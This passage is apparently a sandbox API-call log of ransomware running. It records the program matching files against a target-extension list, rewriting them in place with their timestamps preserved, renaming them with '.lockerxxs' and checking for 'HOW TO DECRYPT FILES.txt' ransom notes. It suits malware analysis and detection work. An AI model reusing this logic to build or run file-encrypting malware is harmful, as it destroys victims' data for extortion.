(pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.eml") returned 0 [0137.070] lstrlenA (lpString="*.eml") returned 5 [0137.070] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.pst") returned 0 [0137.070] lstrlenA (lpString="*.pst") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.ost") returned 0 [0137.071] lstrlenA (lpString="*.ost") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.idx") returned 0 [0137.071] lstrlenA (lpString="*.idx") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.dbx") returned 0 [0137.071] lstrlenA (lpString="*.dbx") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.sql") returned 0 [0137.071] lstrlenA (lpString="*.sql") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.mdb") returned 0 [0137.071] lstrlenA (lpString="*.mdb") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.fdb") returned 0 [0137.071] lstrlenA (lpString="*.fdb") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.wab") returned 0 [0137.071] lstrlenA (lpString="*.wab") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.dat") returned 0 [0137.071] lstrlenA (lpString="*.dat") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.txt") returned 0 [0137.071] lstrlenA (lpString="*.txt") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.jpeg") returned 0 [0137.071] lstrlenA (lpString="*.jpeg") returned 6 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.jpg") returned 0 [0137.071] lstrlenA (lpString="*.jpg") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.png") returned 0 [0137.071] lstrlenA (lpString="*.png") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.php") returned 0 [0137.071] lstrlenA (lpString="*.php") returned 5 [0137.071] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", pszSpec="*.cs") returned 1 [0137.071] lstrlenA (lpString="*.cs") returned 4 [0137.071] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" [0137.071] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" [0137.071] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs." [0137.071] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.lockerxxs" [0137.072] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.073] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x27b [0137.073] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9efb9680, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de)) returned 1 [0137.073] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.073] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x255, lpOverlapped=0x0) returned 1 [0137.074] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs") returned="NavigationBar.cs" [0137.074] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.075] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x255, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x255, lpOverlapped=0x0) returned 1 [0137.075] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.075] CloseHandle (hObject=0x94) returned 1 [0137.075] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\navigationbar.cs.lockerxxs")) returned 1 [0137.076] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9efdf7e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0xce0001cf, dwReserved1=0x4e00c4, cFileName="PasswordValueTextBox.cs", cAlternateFileName="PASSWO~1.CS")) returned 1 [0137.076] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.076] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PasswordValueTextBox.cs") returned -1 [0137.076] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PasswordValueTextBox.cs") returned -1 [0137.076] lstrcmpiA (lpString1="", lpString2="PasswordValueTextBox.cs") returned -1 [0137.076] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs") returned="NavigationBar.cs" [0137.076] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" [0137.076] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="" [0137.076] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" [0137.076] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt")) returned 0x20 [0137.076] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="PasswordValueTextBox.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" [0137.076] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.ems") returned 0 [0137.076] lstrlenA (lpString="*.ems") returned 5 [0137.076] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.db") returned 0 [0137.076] lstrlenA (lpString="*.db") returned 4 [0137.076] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.dbf") returned 0 [0137.076] lstrlenA (lpString="*.dbf") returned 5 [0137.076] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.myox") returned 0 [0137.076] lstrlenA (lpString="*.myox") returned 6 [0137.076] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.myo") returned 0 [0137.076] lstrlenA (lpString="*.myo") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qbw") returned 0 [0137.077] lstrlenA (lpString="*.qbw") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qbb") returned 0 [0137.077] lstrlenA (lpString="*.qbb") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qbm") returned 0 [0137.077] lstrlenA (lpString="*.qbm") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qbo") returned 0 [0137.077] lstrlenA (lpString="*.qbo") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qbx") returned 0 [0137.077] lstrlenA (lpString="*.qbx") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qba") returned 0 [0137.077] lstrlenA (lpString="*.qba") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qby") returned 0 [0137.077] lstrlenA (lpString="*.qby") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qbj") returned 0 [0137.077] lstrlenA (lpString="*.qbj") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.ofx") returned 0 [0137.077] lstrlenA (lpString="*.ofx") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.qif") returned 0 [0137.077] lstrlenA (lpString="*.qif") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.mye") returned 0 [0137.077] lstrlenA (lpString="*.mye") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.mbox") returned 0 [0137.077] lstrlenA (lpString="*.mbox") returned 6 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.eml") returned 0 [0137.077] lstrlenA (lpString="*.eml") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.pst") returned 0 [0137.077] lstrlenA (lpString="*.pst") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.ost") returned 0 [0137.077] lstrlenA (lpString="*.ost") returned 5 [0137.077] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.idx") returned 0 [0137.077] lstrlenA (lpString="*.idx") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.dbx") returned 0 [0137.078] lstrlenA (lpString="*.dbx") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.sql") returned 0 [0137.078] lstrlenA (lpString="*.sql") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.mdb") returned 0 [0137.078] lstrlenA (lpString="*.mdb") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.fdb") returned 0 [0137.078] lstrlenA (lpString="*.fdb") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.wab") returned 0 [0137.078] lstrlenA (lpString="*.wab") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.dat") returned 0 [0137.078] lstrlenA (lpString="*.dat") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.txt") returned 0 [0137.078] lstrlenA (lpString="*.txt") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.jpeg") returned 0 [0137.078] lstrlenA (lpString="*.jpeg") returned 6 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.jpg") returned 0 [0137.078] lstrlenA (lpString="*.jpg") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.png") returned 0 [0137.078] lstrlenA (lpString="*.png") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.php") returned 0 [0137.078] lstrlenA (lpString="*.php") returned 5 [0137.078] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", pszSpec="*.cs") returned 1 [0137.078] lstrlenA (lpString="*.cs") returned 4 [0137.078] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" [0137.078] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" [0137.078] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs." [0137.078] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.lockerxxs" [0137.078] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0137.080] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3ad [0137.080] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9efdf7e0, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x248b4900, dwHighDateTime=0x1cac5de)) returned 1 [0137.080] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.080] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x387, lpOverlapped=0x0) returned 1 [0137.082] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs") returned="PasswordValueTextBox.cs" [0137.082] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.082] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x387, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x387, lpOverlapped=0x0) returned 1 [0137.082] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.082] CloseHandle (hObject=0x94) returned 1 [0137.083] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs.lockerxxs")) returned 1 [0137.084] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9f005940, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0xcd0001cc, dwReserved1=0x4e00c4, cFileName="ProvidersPage.cs", cAlternateFileName="PROVID~1.CS")) returned 1 [0137.084] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.084] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ProvidersPage.cs") returned -1 [0137.084] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ProvidersPage.cs") returned -1 [0137.084] lstrcmpiA (lpString1="", lpString2="ProvidersPage.cs") returned -1 [0137.084] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs") returned="PasswordValueTextBox.cs" [0137.084] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" [0137.084] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\") returned="" [0137.084] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" [0137.084] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\app_code\\how to decrypt files.txt")) returned 0x20 [0137.084] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\", lpString2="ProvidersPage.cs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" [0137.084] PathMatchSpecA 